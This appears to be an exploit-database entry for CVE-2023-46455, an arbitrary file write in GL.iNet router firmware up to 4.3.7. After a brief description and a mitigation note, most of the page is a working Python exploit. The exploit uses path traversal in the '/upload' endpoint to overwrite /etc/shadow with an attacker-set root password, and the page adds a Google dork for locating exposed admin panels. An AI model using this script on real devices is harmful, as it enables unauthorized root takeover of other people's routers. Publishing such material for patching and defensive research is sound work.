header-logo
Suggest Exploit
vendor:
GL.iNet
by:
Michele 'cyberaz0r' Di Bonaventura
6.1
CVSS
HIGH
Arbitrary File Write
269
CWE
Product Name: GL.iNet
Affected Version From: <= 4.3.7
Affected Version To: 4.3.2007
Patch Exists: NO
Related CWE: CVE-2023-46455
CPE: o:gl-inet:gl-inet_firmware:4.3.7
Metasploit:
Other Scripts:
Platforms Tested: GL.iNet AR300M
2023

GL.iNet <= 4.3.7 Arbitrary File Write

The GL.iNet <= 4.3.7 allows an attacker to write arbitrary files on the system by exploiting a vulnerability in the '/upload' endpoint. By crafting a malicious shadow file, an attacker can change the root user's password and gain unauthorized access to the system. This vulnerability has been assigned the CVE-2023-46455.

Mitigation:

To mitigate this vulnerability, it is recommended to update the GL.iNet firmware to version 4.3.8 or higher. Additionally, restrict access to the '/upload' endpoint and implement proper input validation.
Source

Exploit-DB raw data:

#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46455

import crypt
import requests
from sys import argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def craft_shadow_file(salted_password):
	shadow_content  = 'root:{}:19459:0:99999:7:::\n'.format(salted_password)
	shadow_content += 'daemon:*:0:0:99999:7:::\n'
	shadow_content += 'ftp:*:0:0:99999:7:::\n'
	shadow_content += 'network:*:0:0:99999:7:::\n'
	shadow_content += 'nobody:*:0:0:99999:7:::\n'
	shadow_content += 'dnsmasq:x:0:0:99999:7:::\n'
	shadow_content += 'stubby:x:0:0:99999:7:::\n'
	shadow_content += 'ntp:x:0:0:99999:7::\n'
	shadow_content += 'mosquitto:x:0:0:99999:7::\n'
	shadow_content += 'logd:x:0:0:99999:7::\n'
	shadow_content += 'ubus:x:0:0:99999:7::\n'
	return shadow_content

def replace_shadow_file(url, auth_token, shadow_content):
	data = {
		'sid': (None, auth_token),
		'size': (None, '4'),
		'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),
		'file': ('shadow', shadow_content)
	}
	requests.post(url, files=data, verify=False)

def main(base_url, auth_token):
	print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit')

	password = input('[?] New password for root user: ')
	salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5)

	shadow_content = craft_shadow_file(salted_password)
	print('[+] Crafted shadow file:\n{}'.format(shadow_content))

	print('[*] Replacing shadow file with the crafted one')
	replace_shadow_file(base_url+'/upload', auth_token, shadow_content)

	print('[+] Done')

if __name__ == '__main__':
	if len(argv) < 3:
		print('Usage: {} <TARGET_URL> <AUTH_TOKEN>'.format(argv[0]))
		exit(1)

	main(argv[1], argv[2])